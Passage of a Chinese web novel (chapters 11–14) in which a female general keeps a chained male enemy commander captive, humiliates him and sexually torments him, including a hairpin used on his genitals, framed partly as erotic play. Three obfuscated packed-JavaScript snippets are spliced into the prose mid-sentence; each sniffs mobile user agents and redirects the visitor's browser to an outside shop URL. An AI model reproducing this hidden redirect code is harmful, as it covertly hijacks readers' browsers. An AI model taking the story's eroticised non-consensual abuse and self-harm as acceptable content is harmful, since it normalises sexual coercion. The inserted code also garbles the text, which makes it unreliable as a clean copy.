至于想这么玩,是她想起自己年少时进山打猎。 当时带了一条很听话的猎犬,打完猎物满载回家的路上,被十一只野狗堵截。 她本可以驾马逃走,但是野狗数量众多,万一哪只咬了马腿,惊了马,就更糟了,所以必须解决了野狗才能走。 此时她箭囊里的余箭已空,从猎物身上拔箭需要一点时间,她身边的猎犬冲上去和那群野狗狂吠了半天。 最后猎犬为她争取到了时间,她备够了箭,将野狗全都射死,而她的猎犬也被野狗们咬死了。 她最后带着猎物和猎犬回家,亲手将猎犬埋在了后花园。 她一锹一锹埋土时就在想,猎犬和野狗们狂吠那么半天都在说什么呢? 它是否想起,其实它们都是同类。 那嬴芜荼呢? 外面的风雪更大了,姜守烛裹了裹狐裘,回去喝茶了。 11.惩罚 姜家军今日要将所有物资都清点完毕,装上马车,明日天一亮就可以出发回京了。 嬴芜荼被带进五皇子的营帐里,他知道那个叫阿妍的副将就在门口把守。 这处营帐和普通士兵的规格一样,不漏风也暖和,角落里还有两口装衣服的箱子。 这副处境,一点都不像俘虏,看起来是真的给五皇子优待。 他走近了些,看到五殿下正躺在床上熟睡,桌上还摆着一只空碗。 他用手指探了探五殿下的鼻息。 还活着。 他又收回手,看着自己右手的断指,还是好疼。 嬴芜荼找了处营帐角落,这里摆着一个炭盆,他将冻得僵硬红肿的双手靠近火盆,逐渐手掌回温,疼痛也缓解了不少。 等双手都不是那么疼了,他开始在五殿下的营帐里翻找起来。 嬴小舞不光有美貌,还善药理,在皇宫里经常捣鼓各种药材,不过他研究的并不是什么杀人利器,研究的都是如何变美、变白、变瘦,还有就是催|情|药。 他首先翻的就是那两口箱子。 左边箱子里全部都是精美的衣裳,右边的箱子里全是瓶瓶罐罐。 嬴芜荼就知道在这里能找到药,他在兵营待了四年,练兵打仗也没少受伤,所以自己也通药理,便挨个打开瓶子寻找。 在他眼里,绝大多数的药瓶都是没用的,有的药没有味道,他闻了一下就不敢多闻了,因为觉得脸红心跳,估计不是什么好药。 昨夜他被坏女人骗着吃下的那个带药的梨子,就是五殿下给的药。 嬴芜荼叹了口气,五殿下要是把这精力都放在研制毒药上该有多好,那他现在就能拿到毒药,回去毒死那个坏女人了。 他的身手完全不是坏女人的对手,行刺也杀不掉她。 终于,嬴芜荼找到了一瓶金疮药。 药量不多。 那也聊胜于无。 嬴芜荼担心门口看守的人突然进来,他缩到了营帐角落里,自己解开衣裳,将金疮药先涂了胸口自戕的那道伤,这处伤又严重了些,毕竟被坏女人在这里踹了一脚,伤口都崩开了。 等涂完胸口,他低头看着那个“姜”字,伤已经结痂了。 他心里又是一阵屈辱。 士可杀不可辱! 他用指甲用力抓了两下,结痂都被抓破了,又流出血来。 本来昨夜刻字时,都没怎么流血的。 嬴芜荼突然从扣伤口的自残中获得了一点快感,他说不上来是为什么,又转头重新涂了药。 剩下的药不多了,他涂了涂几处严重的淤青,然后用纱布将右手小指包扎起来。 断指还能不能长好,以后还能不能用,他全都不知道。 做完这些,嬴芜荼去翻找五殿下的首饰盒。 终于他找到了一支不算花哨的银质素簪,他的指腹摸索了一下簪子的尖端。 够尖锐。 虽然他现在手里有短剑,但等回到那个坏女人身边,第一件事肯定会收缴短剑,所以他要找一件东西防身。 甚至找机会再刺杀她。 嬴芜荼一开始将簪子藏在怀里,但是又怕被她踹,最后将簪子藏在袖口里,这样拿的时候也方便。 嬴芜荼忙活完这些,他坐在营帐的角落,看着还在燃烧的细炭,抱着膝盖缩成一团,慢慢闭上眼睛。 他已经折腾一天一夜没睡觉了。 昨天白天战败被抓,又受了伤,晚上逃跑又被抓,还被打得半死,后半夜被坏女人搂在怀里,他害怕被辱,吓得眼睛都不敢眨。 今晨天亮又去干活,现在又饿又累,实在想休息片刻。 嬴芜荼歪着脑袋,慢慢睡着了。 可他睡不安稳。 刚睡了小半个时辰,他就醒了。 是吓醒的。 妍副将站在营帐门口,冷声问:“他马上就要醒了,你什么都不做吗?” 嬴芜荼的眼神一下就清澈了,他果断地摇摇头。 他是不会伤害自己人的。 尽管嬴小舞一点都没拿他当自己人。 “起来。”妍副将说完直接将他手里的短剑收走了。 嬴芜荼慢慢站起来,他深吸了一口气,拖着脚腕上沉重的铁球,慢吞吞地跟在妍副将身后走。 此时,他的耳边回响起那个女人的话: 【今晚有你好受的。】 他正好走到营帐外,外面的风雪变大了,他止不住又打了一个哆嗦。 好冷啊。 不知道即将会面对什么。 不远的一段路,因为嬴芜荼走得慢,在路上磨蹭了半天。 等嬴芜荼回到姜守烛的营帐门口时,他犹豫了一会儿才进去。 他低着头慢慢走近,看到那女人正伏案在写什么,他仔细去看,原来是在写折子。 他不敢吭声,就站在门口,见坏女人也没有理自己的意思,他自己小心翼翼地往营帐角落里挪去。 炭盆都摆在角落里,他想暖和一点。 虽然现在身上穿着衣料华贵的衣裳,但五皇子喜欢美丽冻人,不喜欢冬日的衣服看起来臃肿,所以这衣裳穿着不保暖,五皇子是习惯了,但他穿惯了暖和的戎装,他冷,而且他还有伤。 嬴芜荼挪了好半天才挪到角落里,期间那女人写了一页又一页,一次都没有抬头看他。 嬴芜荼慢慢蹲下,他最后坐在地毯上。 反正坏女人也没命令他跪着还是站着,那他就选择个舒服的姿势——坐着。 他刚坐下,屁股才挨上厚实暖和的地毯,还没坐实呢…… “过来!” 姜守烛头也不抬地吩咐道。 这营帐里,除了姜守烛就是他了。 所以当然是吩咐他的。 嬴芜荼气得咬了咬牙,他慢吞吞地往她身边走去。 姜守烛也不催,她甚至还在继续写折子。 “研磨。” 等嬴芜荼走到书案前,姜守烛才继续吩咐道。 嬴芜荼站在一旁,开始研磨,他同时也在偷看,还不等看清楚…… “偷看奏折,你的眼睛不想要了?”姜守烛没想到他竟然还真敢偷看,果然是胆大包天的小兔子。 嬴芜荼不敢明着和她对着干,他偏过头,不再看折子,只是手上动作不停地为她研磨。 他其实看到半行字了,应该是物资清单,他在琢磨之余,又忍不住想,这坏女人还写得一手好字。 他被自己的念头吓了一跳。 这女人写得字很好看,这事他昨夜不就知道了吗? 他的胸口,不就有她写的字吗? 真是……奇怪的想法。 终于,姜守烛写得快到正午才写完这封长长的折子,等墨迹干了,就先快马加鞭送回京城。 嬴芜荼在一旁一直站着研磨,他站得身子几次摇摇晃晃,他感觉头晕,因为他昨天就没怎么吃饭,吃了半个梨,还是下药的,今早又只吃了一小块干馒头,现在感觉要饿晕了。 姜守烛活动了一下肩膀,对嬴芜荼吩咐道:“跟我走。” 又去哪? 嬴芜荼自从回来后,坏女人一句都没问五殿下营帐里的事,就好像一点都不在意。 这怎么可能? 嬴芜荼的心里惴惴不安,但他必须加快脚步跟上,因为坏女人一步都不等他,就这样大步流星地往前走。 他的脚腕上还拖着铁球,哪里跟得上她。 直到他摔在了雪地里。 姜守烛才停住脚步,回身看他。 “平地也能摔?你们小男人连路都不会走?”姜守烛的语气带着哂笑。 嬴芜荼气得捏紧了拳,他不解释,他知道坏女人是故意的,他慢慢爬起来,将身上的雪拍了拍。 “求求我,我就抱着你走。”姜守烛还站在原地。 嬴芜荼抿紧了唇,他不求。 周边巡逻的士兵太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993308|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,虎视眈眈的目光也太多了。 “有脾气。”姜守烛看了一眼他的脚腕,她什么都没说,继续往前走。 嬴芜荼知道自己的脚腕都被磨破皮了。 拖着二十斤的铁球走来走去,脚腕的肌肤哪里承受得住。 终于,姜守烛走到主营门口,自有人为她掀开帘子,她走了进去。 可是嬴芜荼还站在门口。 姜守烛转过身,命令道:“进来。” 嬴芜荼现在眉头紧皱,因为脚腕在流血,等他走进主营帐后,他更紧张了。 里面摆满了筵席,满帐里都是姜家军的人。 “庆功宴,怎么少得了你,我的宿敌。”姜守烛走到了主位坐下,看到嬴芜荼还呆站在门口,她一招手:“过来挨着我坐。” 嬴芜荼好想转身逃走。 他知道这就是鸿门宴,尽管不是宴请他的,但他肯定不是吃席的。 那就只能是被吃的。 原来这就应该是她昨晚说的——有你好受的。 “快点!不想坐到我的桌旁,就把你摆到她们桌上。”姜守烛调笑着说完,众将士跟着起哄起来。 摆在桌上,被她们轮番享用吗? 这是在威胁他,他真的害怕这个威胁。 他受不了这么多女人的目光全凝视着他,像是要将他生吞了。 他不得不躲到姜守烛的身边,至少躲在坏女人的身边,躲在她的身影遮蔽之下,才能抵挡住那么多虎视眈眈的目光。 姜守烛的席位边没有多余的小矮凳,于是嬴芜荼自己坐在了地上。 还好地毯厚实,坐着也不凉。 他缩着肩,低着头,尽管如此,那些目光还是如山呼海啸一般席卷而来。 他很想躲,但是无处可躲,他甚至不由自主地攥住了她垂下的一截衣角。 只是他仅能抓住的安全感了。 尽管抓住的是他的仇人,至少也比空着手强一点。 姜守烛好像看不到他的小动作,她举杯道:“今日才是我们的庆功宴,庆祝我们终于打败嬴国,替陛下收复天下,第一杯敬陛下!” 众将士跟着举杯:“敬陛下!” 众人饮完这杯酒。 姜守烛眼神看向缩在一旁的“鹌鹑”,她的目光再看向空酒杯。 嬴芜荼知道她什么意思,他太害怕那句威胁了,他太害怕被摆到桌上了。 这些军营里的女人,各个都是如狼似虎。 他连想都不敢想。 于是他哆嗦着手,拿起酒壶,给她斟了一杯酒。 这一刻,他心里还是悲叹,要是五殿下有毒药就好了,现在不就能顺势下毒毒死坏女人了? 可惜,那一大箱子的瓶瓶罐罐,全都是没用的东西。 “第二杯呢……”姜守烛的话音一转,同时目光也一转,“得敬我们的敌人——嬴主将!要不是他,我们这场仗怎么会从夏天打到冬天,如今还有一个月就快过年了,我们都还没能回家,嬴主将,你说你做的此等好事,该怎么给姐妹们一个交代呢?姐妹们也都看到了,我们的嬴主将,竟然还是一个男子,把我们都给骗了,可真是男中豪杰啊!既然如此豪杰,那这第二杯酒,你得全喝了。” 姜守烛看向门口,妍副将带着两个人抬进来一口大缸。 里面装满了酒。 嬴芜荼眼睛都不敢眨了。 这不是厨房旁边那个大水缸吗! “去喝了。”姜守烛还拍了拍他的肩以资鼓励,再顺手将自己被他攥在手里的衣角抽回来,那截衣角都被攥皱了,她随手就抚平了。 满场都是起哄的笑声。 嬴芜荼一步三回头地往场中央走去。 那些女人的目光一寸寸将他看遍,看到他磨出血的脚腕,看到他的细腰翘臀,看到他缠得严严实实的脖颈,再看向他被打得带伤的脸,还有他湿润的眼眶。 他委屈,他害怕,可他不能求饶,因为根本没有人会救他。 12.小醉鬼 “喝!喝!喝!” 满场的呼喊声沸腾起来。 嬴芜荼盯着眼前的酒缸,再转过头,泪眼婆娑地看着姜守烛。 他不善酒力,而且换做任何人都肯定喝不下这么多酒。 姜守烛见小兔子眼巴巴地望着自己,她甚至还鼓励了一下:“喝啊。” 她并不打算真的让嬴芜荼喝这么多酒,她是想听小兔子的求饶。 嬴芜荼从来都是孤立无援的境地,向敌人露出那种求助的眼神,简直就是自取其辱。 嬴芜荼伸出颤抖的手,拿起漂浮在酒上的水瓢,他的小指包扎好了,但还是以一种扭曲的姿势翘起来,他盛了一瓢酒,一闭眼,咕咚咕咚喝下去。 这酒又烈又辣,他才喝完一瓢,转过头,刚要跟坏女人求饶…… 整个人摔在了地上,连带着手里的葫芦瓢也摔飞了。 一杯就倒了。 起哄声戛然而止。 有人发出疑问:“是不是装的?” 妍副将也上前问:“将军,要不要拖出去醒醒酒?” 如此寒冬腊月,外面的雪还没停,只要将人丢进雪堆里,那冰冷刺骨的感觉比浇一桶凉水还好用。 姜守烛摇摇头,吩咐道:“带回我营帐里。”等看到嬴芜荼被拖出去时,她还嘱咐一句:“锁好了。” 省得又跑了。 没了嬴芜荼,席间热闹的氛围少了一点。 姜守烛这饭菜吃得心不在焉。 这时候,嬴小舞在门外喊着:“姜姐姐吃席怎么不叫上我!” 姜守烛示意门卫放人进来。 嬴小舞蹦蹦跳跳跑进来,他噔噔噔跑到姜守烛的身边,主动坐下给她倒酒,嘴里还求着:“能不能让我也入席?我也想吃……” 姜守烛的眼神里没有笑意,但嘴角勾着笑,她问:“这是打败你国的庆功宴,你也要吃?” “啊……我没有什么功劳,但我可以献艺呀。” 嬴小舞说着就跑到下面,唱歌跳舞,弹琴舞扇,在众女人的起哄声中,玩得不亦乐乎。 不得不说,五皇子的才艺确实不错。 姜守烛一直盯着嬴小舞看,但她此刻却透过嬴小舞,在想嬴芜荼。 如果此刻在下面唱歌跳舞的是嬴芜荼,该是什么模样呢? 可惜,小兔子不听话。 喝点酒还是个一杯倒。 直到天黑,庆功宴吃完了。 嬴小舞被灌了不少酒,他醉醺醺地拽着姜守烛的袖子,一下一下晃悠着:“姜姐姐今晚留下来好不好?” 姜守烛不动声色地将自己的袖子拽回来,说:“你喝醉了,阿妍,将五殿下送回去。” 五皇子是陛下要的人,姜守烛是不会染指的。 而且……姜守烛更惦记的是嬴芜荼。 等姜守烛回到自己营帐里时,才一进去,她就被逗笑了,连酒意都醒了几分。 嬴芜荼的脖颈上又栓了一条铁链,他被拴在床边,脸颊泛着红晕,正摇摇晃晃地比划着什么。 “是在跳舞吗?难道你也会舞?”姜守烛走进来,随手将大氅挂上,还拍了拍头上的雪。 “嗯……我会武!我会军体拳!喝!哈!” 嬴芜荼眼神迷离,还醉得不轻,但他下盘倒是稳健地扎了一个马步,说话间,还不断出拳。 这招式还真有模有样的。 但对姜守烛来说,他这点功夫也就是三脚猫。 “这么厉害啊。”姜守烛拖过椅子坐下,她这回笑起来时,是眼睛和嘴角都在笑,“那让我看看你都有什么本领。” “我还会翻跟头……” 话音未落,嬴芜荼就摔得趴在地上了。 同时从他袖口里还飞出一个东西。 是一根银簪。 姜守烛当然也看到了。 嬴芜荼趴在地上,他没站起来,朝着银簪的位置爬爬爬……但是爬了几步就爬不动了,因为脖颈上的锁链限制了他行动的范围,于是他伸长了手臂去够银簪…… 他的手指努力地往前伸,就差一点点了! 可还是够不到。 他发出一声呜咽,叹了口气。 “哪里来的?”姜守烛认出来,这不是五皇子的首饰吗? 昨天抓获五皇子时,他拽着她的衣角哭着喊着求不要将他的衣物首饰全都收走,他想把几件喜欢的留在身边。 见五皇子那寻死觅活的模样,都恨不得和漂亮衣裳同归于尽,再想想陛下要的是活的五皇子,于是姜守烛就同意了,不过她担心五皇子使诈,所以五皇子留下的衣裳和首饰,她全都过目了一遍。 “这是我的武器!我要藏好了,但是我够不到,你能不能帮帮我……”嬴芜荼的语气还带着喘|息,看来刚才打军体拳比划那两下可累得不轻。 还好姜守烛营帐里的地毯厚实,嬴芜荼摔一下也没摔坏。 “武器?你打算做什么?”姜守烛一弯腰,将银簪捡起来,但她没有还给嬴芜荼。 “当然是要刺杀坏女人!她抢走了我的佩剑,我没有武器了,她那么勇猛,我赤手空拳又打不过她!”说着,嬴芜荼还双手握拳,狠狠地捶了一下地,十分气愤的样子。 捶得地毯发出一声闷响。 姜守烛被他的动作逗笑了。 她想起她府里小侍养的一只猫,那小猫脾气不好,见谁都哈气。 小猫咪哈人明明是在威胁人,可是小猫咪太小一只了,连威胁别人的动作都变得那么可爱,当然也不会有人被小猫咪的哈气吓到了。 “坏女人……你打算怎么杀掉那个坏女人?”姜守烛故意逗他,她也看明白了,小兔子醉晕了,都认不出她是谁了。 不然,他想要杀的坏女人,不就在眼前吗? “我要用这根银簪扎进她的喉咙!” 还真是小动物在哈人呢。 只不过……他现在遍体鳞伤,一点都不是姜守烛的对手,这样的大话,简直就是笑话。 “这么有志气啊,那坏女人都对你做什么坏事了?为什么这么恨她?”姜守烛坐回去,将银簪握在手里。 “她是我的敌人!抓了我的国君,还杀了我的兵,还欺负我,我一定要杀了她,为她们,也为我自己报仇。”嬴芜荼这话说得咬牙切齿的,仿佛要将他口中的那个坏女人生吃了。 “这么有血性呀?”姜守烛这句话是真心实意的。 嬴国皇宫被破时,无一人反抗,都乖乖投降了,因为国君和君后早就跑了。 嬴国国君自从被抓回来后,要求时时刻刻都能喝到最新的雨前龙井,然后就是在营帐里自己跟自己下棋,不吵也不闹,完全认命了。 而嬴国五皇子,都缠上姜守烛时时谄媚了,甚至恨不得立刻献身。 所以说起来,整个嬴国上下,唯一一个有血性的,竟然是这个男扮女装的嬴芜荼。 “那是当然!我可是有一腔抱负!可惜……”嬴芜荼的后半句话没继续说,即使沦落到战败,他也不愿承认,可惜自己的国君不是明主。 姜守烛此时去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007276|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口,对路过的士兵吩咐道:“让厨房准备一碗醒酒汤送过来。” 等姜守烛回来,看到嬴芜荼已经自己翻了个身,仰躺在地毯上。 他望着营帐的顶,眼角还有泪流下来。 “怎么哭了?”姜守烛坐回来,继续问他。 难得小兔子跟她说这么话,是因为他醉了。 “我想起姚副将了……她救过我的命,我却害死了她,坏女人,我一定要杀了她,为姚副将报仇!” “你是不是喜欢那个姚副将啊?所以她死了,你这么伤心?”姜守烛自己问完,她自己都吓了一跳。 为什么突然这么想。 难道不是救命之恩,加上小兔子重情重义吗? “不是!我和姚副将是并肩作战的战友姐妹情!诶……你是谁啊?”说着,嬴芜荼一擦眼泪,他扶着地面,慢慢坐起来了,还歪着脑袋,醉眼朦胧地望着她。 他跟这女人说了好半天的话,好像才开始思考,这女人是谁。 “那你觉得我是谁?”姜守烛盯着他的脸,在烛光的映照之下,她看到小兔子的脸颊一点点变得更红了…… 是更醉了吗? “嗯……好熟悉啊,你怎么这么漂亮英俊啊,可惜我已立誓终生不嫁,我要保家卫国,可是我没有国了,那我要报仇雪恨……” “啊?”姜守烛错愕了一瞬。 小兔子这前言不搭后语的,她长得好看和小兔子嫁不嫁人有什么关联吗? 此时,厨房派人送来了一碗醒酒汤,只将汤碗放在门口的地上便走了。 姜守烛本该立刻去拿来汤碗,将醒酒汤给这只小醉鬼灌下去,让他好好清醒一下。 可是……小醉鬼胡言乱语的模样为什么越看越可爱了? 嬴芜荼还坐在地上,他的双手撑着地,还往她的方向爬了爬。 此时有风从门口缝隙里吹进来,吹得烛火晃动了两下。 明明暗暗的烛光也映在她们的脸上。 嬴芜荼看得更仔细了些。 “你长得好像那个坏女人,可是你没欺负我,所以你是谁啊?你怎么不说话?那个坏女人就不会不说话,她一开口就是调戏我,我最讨厌她了,你虽然长得和她很像,但你比她好多了,而且你好漂亮啊!你是我见过最英俊的女子了!” 嬴芜荼嘟嘟哝哝地说个不停,他的眼睛一眨一眨的,单纯极了。 姜守烛实在忍不住,伸手去摸他的脑袋…… 因为他此刻的模样,真像一只乖乖的大狗,正在哼哼唧唧地跟主人蹭腿撒娇。 乖狗就是应该被摸摸头的。 可是嬴芜荼往后挪挪挪,他躲开了。 守贞是他刻在骨子里的,所以得时刻和女人保持距离,怎么能被陌生女人摸到身体呢? 姜守烛的手停在半空中,什么都没摸到,她也不尴尬,自然地收回手,她去门口拿起了那碗醒酒汤,朝着地上的“大狗”走过去。 “你把这个喝了,马上就知道我是谁了。”姜守烛将汤碗放在他的面前。 嬴芜荼看着地上的碗,问:“真的吗?” 姜守烛点点头,一副等着看好戏的模样。 嬴芜荼双手捧起碗,他右手包扎起来的小指还不敢碰到碗,他闻了闻汤,又抬起头冲她傻笑道:“闻起来是甜的呢!你要不要先喝第一口?” 说着,还双手将汤碗举高高,举到她的面前。 尽管他自己饿得饥肠辘辘,但此刻他可是真心实意想和她分享这难得的“好吃好喝”。 13.逗弄 姜守烛被逗笑了。 小兔子竟然真的这么单纯吗? 这还是那个和她在战场上博弈的狡诈小兔子吗? “我不喝。”姜守烛又没醉,她要等着看小兔子酒醒。 她可太期待了。 “那我就自己喝了哦。”嬴芜荼捧着碗,红唇刚挨近碗沿,又一下远离,他“嘶”了一声,是被烫到了。 姜守烛笑出了声。 看到他这副笨手笨脚的模样,真难以和战场上的他联系起来。 “你笑我……”嬴芜荼鼓起两颊吹了吹汤,他委屈巴巴地念叨着。 “那我不笑了。”姜守烛佯装严肃,但她根本就装不住笑意,明明在外时,她从不喜形于色,任何人都不能从她的脸上看出情绪,为什么在这一刻,就忍不住笑呢? 因为他真的有点可爱,让她忍不住想要“疼爱”。 嬴芜荼吹凉了汤,一仰头咕咚咕咚全喝了。 他喝完后,还发出一声叹息,仿佛品到了什么醇香的美酒。 可他明明是个一杯倒。 “好喝!真甜呀……这下肚子舒服多了,坏女人不给我吃饭,还是你好,给我甜汤喝!我可是个知恩图报的好人,古有一饭千金,但我现在没什么能报答你的,等我有能力了,一定会报答今日一汤之恩。” 说着,嬴芜荼还十分义气地一抱拳,好似什么武林豪杰。 姜守烛笑得都快坐不住了,她重复道:“一饭千金?哈哈哈……” 嬴芜荼原本单纯地眨巴着眼睛,还在奇怪她为什么笑成这样,等听到她的话,他像是没有意识地自言自语着:“一饭千金……一字千金……一笔……千人?好像谁跟我说过这话?是谁来着?” 他拍了拍自己的脑袋,绞尽脑汁地回想,试图将这些记忆串联起来。 “那就慢慢想,我不急,毕竟……这夜还长着呢。”姜守烛向来是个有耐心的人,尤其是对着她感兴趣的人,那就更愿意等了。 可是醒酒汤入腹,很快就起效了。 嬴芜荼的酒意散去,眼神从清澈的单纯,变为……惊慌失措。 “你……” 嬴芜荼原本是坐在地毯上的,那只喝完的空碗就放在手边,等他反应过来时,止不住地打了个哆|嗦,他被吓得打翻了碗,同时手脚并用地往后挪去。 他挪挪挪,试图躲在床后,但他脖颈上还拴着那条铁链,他的行动范围就这么点地方,他又能躲到哪里去呢? “现在想起来坏女人是谁了?” 姜守烛站起身一步步走过去,每当她逼近一步,嬴芜荼都抖得更厉害了。 嬴芜荼知道自己这回肯定完了,刚才不光说了坏女人的坏话,还暴露了藏银簪准备刺杀她的事。 姜守烛走到了他的面前,蹲下俯视着他,看着他瑟瑟发|抖的样子,她笑道:“刚才还说要报答一饭之恩,你不会忘了吧?” 嬴芜荼抿紧了唇,他不敢说话了。 虽然刚才醉得认不出坏女人,但也是因为坏女人没欺负他,这才认错的。 如今他想起刚才做的傻事,说的傻话,简直又羞又怕。 害羞,是羞于自己竟然露出了小男子的面目。 为什么要以崇拜的眼神和语气说她长得好看啊! 害怕,是担心自己马上就要被她折磨了。 坏女人就是坏女人! 他想到这里,身上的伤又在痛了,最痛的不是被打断的小指,也不是胸前那一刀,而是胸口那个“姜”字。 被他抓破了,但此刻结痂了,可现在就属这里最痛了。 痛得忍不住想要呻|吟出声,但他强行咬着下唇忍着。 “怎么又不吭声?嬴主将不是最知恩图报了吗?怎么?想反悔吗?”姜守烛的大手捏住他的脸颊,强迫他抬起头,直视着自己。 她看到那双泪眼婆娑的眸子被吓得都在颤|抖了。 这一刻,姜守烛觉得心里产生了奇妙的想法。 小兔子是她的宿敌,是她的手下败将,手下败将露出这样的眼神,她应该感到胜利的喜悦才是,但为什么心里,产生了一股想要怜爱他的想法? 像是……想要温存? 她又想起之前的那些梦,可那些梦里,全都是强势侵占,哪有什么温存的想法? “我有那么凶吗?”姜守烛将此刻奇怪的心思藏了藏,她放开手,从怀里取出一根银簪,继续道:“你不是要刺杀我吗?来呀。” 嬴芜荼看着被递到面前的银簪,他不敢伸手接过来,因为他完全知道,这坏女人是不会松手的,此举分明就是在试探他。 甚至这都不是试探,完全就是在逗弄他! 就跟在逗弄小猫小狗一样! “不来?那你就错失良机了,只能换我来喽。”姜守烛伸手拽着嬴芜荼脖颈上的铁链,像是提着一个物件,将人直接提到了面前来。 嬴芜荼呼吸一滞,他被吓得闭上眼。 在他闭眼时,姜守烛却心头一跳。 好奇怪,为什么看小兔子闭眼,她竟然有一股想要亲上去的冲动? 这真邪门啊。 她当然克制住自己没亲,她将人往地上一推,顺势压|倒,直接骑|在他的身|上。 嬴芜荼一直抿着的唇终于压抑不住,惊呼一声。 “不要……不要……”嬴芜荼呢喃着。 “不要什么?你以为我打算做什么?”姜守烛故意用暧|昧的语气逗他。 嬴芜荼不再喊了,他闭上眼睛,也咬紧了唇。 就知道这一天会来临的。 他只能承受。 他拒绝不了。 “白天我说什么来着?你没能让我看到我想看到的画面,今晚就有你好受的,现在准备好了吗?”姜守烛说着的同时,手上的动作也不停,三下两下就将小兔子的衣裳剥光了。 露出这副伤痕累累的身体。 胸口的刀伤已经好了不少,腰|间腿|处几处被踢打的淤青已经散开,就是…… 姜守烛一眼就看到,她亲手刻下的那个“姜”字,怎么变花了? “怎么搞的?”姜守烛明知故问,这一看就是用指甲抓花的。 小兔子真是不听话,一刻不惹她生气都不行。 所以不听话的小兔子就还是得教训。 嬴芜荼不回答,他现在整个人都如同一根绷紧的琴弦,随时都会崩断。 “说话。”姜守烛说着,还在他的腰间摸了一把。 嬴芜荼仿佛被雷电劈中,浑| ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019686|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身都酥酥|麻麻的,他不由自主呻|吟一声,也同时睁开眼睛。 “是……是不小心抓的。”嬴芜荼找了个借口。 “敢破坏我的标记,你的胆子是真大啊,敢做还不敢承认?看来我得再做个标记。”姜守烛拿出银簪,另一只手握|住了小荼。 小荼被吓得一跳。 “啊——” 刚才都不敢拼命挣扎的嬴芜荼这下扭动起来。 他害怕,他想逃,但他被压着,连起都起不来。 他本以为坏女人今晚要强要他,可是当她拿出那东西,此刻又这样时,他知道坏女人要对他做什么了。 他混迹在军营里,偶尔听到那些女人谈论怎么玩弄家里的夫郎,他当然听到过这个,当时他听着就觉得痛,但现在,轮到他了。 “再乱动,扎伤的可是你。”姜守烛嘴上威胁着他,但她其实不想真的将他扎伤。 嬴芜荼挣扎也挣扎不了,反抗也反抗不过,求饶也更是没用。 他忍不住哭声,抿着唇委屈地哭了。 “有那么疼吗?好了。” 姜守烛动手向来利落,拍了拍手,大功告成。 这下小荼被封印起来了。 嬴芜荼感受到前所未有的屈辱和疼痛,这比在阵前下跪还要屈辱,比被毒打还要疼痛。 他甚至还想伸手去拔…… 他的手腕却被抓住了。 “这个标记你要是敢拿出来,你知道我会做什么。”姜守烛说完就放开手,她站起来,居高临下地俯视着他。 嬴芜荼确实不敢。 他永远受制于她。 但是心里的悲痛和委屈让他开始放声大哭。 他从来都没有这样大声地哭过。 姜守烛挠了挠头,呐呐道:“真有那么疼吗?我又没强要你。” 怎么搞得她把人怎么样了一样。 府里的小侍也都玩过啊,他们都娇笑得很开心来着。 这嬴芜荼是不是男扮女装久了,和寻常男子不一样了啊? 看着也没什么不一样啊? “偶尔哭哭算是助兴,哭这么大声就太吵了,我数三个数,再不忍回去,我就再加一个。”姜守烛不会哄哭成这样的男人,她就会威胁。 “呜……不哭了……呜呜……” 嬴芜荼害怕她说的,毕竟坏女人言出必行,他咬着唇不再哭了,但身子还在止不住地发|抖。 “有那么冷吗?自己穿上。”姜守烛的营帐里暖和得很,不明白他怎么抖成这样。 嬴芜荼哆哆嗦嗦地坐起来,手忙脚乱地将衣裳上下全都穿好,他小心地避开不敢触碰那里,都是当衣物剐蹭到时,他抖得更厉害了,差点仰倒过去。 “装模作样。”姜守烛笑他一声。 嬴芜荼不会说出来,他没有装,他也不是冷,而是一种前所未有的感觉。 和用指甲抓花那个“姜”字,是一样的感觉。 就是身体感受到疼痛,但心里的感觉,却变得奇怪了。 他屈起双腿,将哭得泛红的脸埋在膝盖上,将自己缩成一团,可是刚才哭得太剧烈了,身子还时不时一抖。 每抖一下,那种感觉就再一次将他席卷。 他更难堪了。 14.“没勾引” 嬴芜荼被威胁后就不敢再哭了,但还是抱着双膝缩在角落一抖一抖。 等妍副将进来送洗漱的水时,正好就看到这一幕。 看到敌军主将衣衫不整,在那里瑟瑟发抖。 一副被人糟蹋了的模样。 妍副将装作没看见,将水放下就走了。 姜守烛看他半天了,她一边洗漱一边威胁道:“别装,我又不是没见过。” 嬴芜荼虽然把脸埋在膝盖上,但他依旧能感受到坏女人在盯着自己,而营帐里又没有旁人,坏女人这话当然是对他说的。 他呜咽一声,也不敢抬头。 他没装,他真的感觉“难受”,他想拿出来,但是不敢。 “别再那装鹌鹑了,你也去洗,洗得香香的,然后上床给我暖床。”姜守烛说完就出去了。 她还要去安排一下公事,明日大军开拔就要返京了,她还是得去看一眼。 等姜守烛出去了,嬴芜荼这才抬起头,刚才虽然没哭出声,但是眼泪就没断过。 